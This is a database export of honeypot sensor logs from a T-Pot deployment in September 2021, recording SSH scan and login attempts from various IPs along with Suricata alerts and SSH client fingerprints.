"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28245	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:55.410386+03	2021-09-20 14:30:02.576524+03	{"_id": "oAbsAnwBvYTbRNuEWC0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "77dbec76bcf1", "@version": "1", "duration": 3.554826498031616, "timestamp": "2021-09-20T11:16:55.410386Z", "@timestamp": "2021-09-20T11:16:55.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28246	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:16:57.016237+03	2021-09-20 14:30:02.578524+03	{"_id": "pQbsAnwBvYTbRNuEXS3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:53.486194+0000", "pkts_toclient": 6, "pkts_toserver": 7, "bytes_toclient": 1043, "bytes_toserver": 1357}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 838020825967410, "payload": "AAADVAUUsBveBtjM5U0u3aCXwen4+wAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAQCBl7HA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 15267, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:57.016237Z", "@timestamp": "2021-09-20T11:16:57.016Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T.........M............ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................{."}}	1	\N	\N	alert	known attacker	\N
28247	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:16:56.489995+03	2021-09-20 14:30:02.579524+03	{"_id": "pgbsAnwBvYTbRNuEXS3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:53.486194+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 838020825967410, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 15267, "dest_port": 22, "timestamp": "2021-09-20T11:16:56.489995Z", "@timestamp": "2021-09-20T11:16:56.489Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28248	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:16:57.016237+03	2021-09-20 14:30:02.580523+03	{"_id": "pwbsAnwBvYTbRNuEXy0K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 15267, "dest_port": 22, "timestamp": "2021-09-20T11:16:57.016237", "@timestamp": "2021-09-20T11:16:57.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28304	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:16:38.339954+03	2021-09-20 14:30:02.653553+03	{"_id": "QQbsAnwBvYTbRNuEFy1r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 610, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 887200347992050, "@version": "1", "in_iface": "enp5s0", "src_port": 36783, "dest_port": 53, "timestamp": "2021-09-20T11:16:38.339954Z", "@timestamp": "2021-09-20T11:16:38.339Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28249	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:16:57.01687+03	2021-09-20 14:30:02.582524+03	{"_id": "rgbsAnwBvYTbRNuEXy3j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "b2e94fb53a46", "@version": "1", "timestamp": "2021-09-20T11:16:57.016870Z", "@timestamp": "2021-09-20T11:16:57.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28250	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:51.219717+03	2021-09-20 14:30:02.583524+03	{"_id": "gwbsAnwBvYTbRNuERi1Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 921489220190633, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37662, "dest_port": 22, "timestamp": "2021-09-20T11:16:51.219717Z", "@timestamp": "2021-09-20T11:16:51.219Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28251	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:50.94927+03	2021-09-20 14:30:02.584524+03	{"_id": "hAbsAnwBvYTbRNuERy2W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37662, "timestamp": "2021-09-20T11:16:50.949270", "@timestamp": "2021-09-20T11:16:50.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28252	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:50.945487+03	2021-09-20 14:30:02.586524+03	{"_id": "iQbsAnwBvYTbRNuESC1u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37662 (192.168.176.2:22) [session: 0b88cf4c46da]", "session": "0b88cf4c46da", "@version": "1", "protocol": "ssh", "src_port": 37662, "dest_port": 22, "timestamp": "2021-09-20T11:16:50.945487Z", "@timestamp": "2021-09-20T11:16:50.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28257	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:00.085798+03	2021-09-20 14:30:02.593524+03	{"_id": "uAbsAnwBvYTbRNuEaS1_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 773718723515154, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34714, "dest_port": 22, "timestamp": "2021-09-20T11:17:00.085798Z", "@timestamp": "2021-09-20T11:17:00.085Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28253	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:51.348703+03	2021-09-20 14:30:02.587525+03	{"_id": "jgbsAnwBvYTbRNuESC1w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0b88cf4c46da", "@version": "1", "timestamp": "2021-09-20T11:16:51.348703Z", "@timestamp": "2021-09-20T11:16:51.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28254	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:52.129684+03	2021-09-20 14:30:02.589524+03	{"_id": "jwbsAnwBvYTbRNuESi06", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2203176180896244, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7275, "dest_port": 22, "timestamp": "2021-09-20T11:16:52.129684Z", "@timestamp": "2021-09-20T11:16:52.129Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28255	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:52.129826+03	2021-09-20 14:30:02.590524+03	{"_id": "kAbsAnwBvYTbRNuESy1_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7275, "timestamp": "2021-09-20T11:16:52.129826", "@timestamp": "2021-09-20T11:16:52.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
